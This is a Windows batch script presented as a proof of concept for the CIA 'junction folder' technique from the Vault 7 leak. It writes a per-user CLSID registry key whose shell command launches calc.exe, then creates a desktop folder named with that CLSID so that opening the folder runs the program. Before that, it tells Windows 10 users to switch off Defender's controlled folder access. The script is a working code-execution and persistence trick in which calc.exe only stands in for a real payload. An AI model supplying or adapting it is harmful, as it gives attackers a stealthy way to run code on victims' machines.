Juntion_folder.bat

@echo off
setlocal
echo Juntion folder (vault7 - nsa) POC ..
echo https://wikileaks.org/ciav7p1/cms/page_13763373.html
echo --------------------------------------------------------
echo.


echo Please wait, gather info ..
timeout /t 2 > nul
echo USERNAME: %username%
timeout /t 2 > nul


for /f "tokens=4-5 delims=. " %%i in ('ver') do set VERSION=%%i.%%j
if "%VERSION%" == "10.0" echo VERSION : Windows 10 && echo -------------------------------------------------------- && echo Disable 'controled access to foders' in windows defender && echo -------------------------------------------------------- && pause
if "%VERSION%" == "6.3" echo VERSION : Windows 8.1
if "%VERSION%" == "6.2" echo VERSION : Windows 8
if "%VERSION%" == "6.1" echo VERSION : Windows 7
if "%VERSION%" == "6.0" echo VERSION : Windows vista



echo Generate and store new GUID into a local var ..
timeout /t 2 > nul
FOR /F %%a IN ('powershell.exe -ep -C "[guid]::NewGuid().Guid"') DO SET MY-GUID=%%a
echo MY-GUID : %MY-GUID%


echo Add hijack reg keys into registry ..
timeout /t 2 > nul
REG ADD HKCU\Software\Classes\CLSID\{%MY-GUID%}\Shell\Manage\Command /ve /t REG_SZ /d "%windir%\System32\calc.exe"


echo Build folder POC in desktop ..
timeout /t 2 > nul
mkdir C:\Users\%username%\Desktop\POC.{%MY-GUID%}



echo.
echo exploit completed [calc.exe associated to POC folder]..
echo --------------------------------------------------------
echo Trigger exploit : C:\Users\%username%\Desktop\POC
echo clean file under: C:\Users\%username%\Desktop\Clean.bat
echo --------------------------------------------------------


echo REG DELETE HKCU\Software\Classes\CLSID\{%MY-GUID%} /f > C:\Users\%username%\Desktop\Clean.bat
echo exit >> C:\Users\%username%\Desktop\Clean.bat


endlocal
pause
cls
echo.
echo HINT: After running the 'Clean.bat' file the POC folder will resume normal behavior.
timeout /t 5 > nul
exit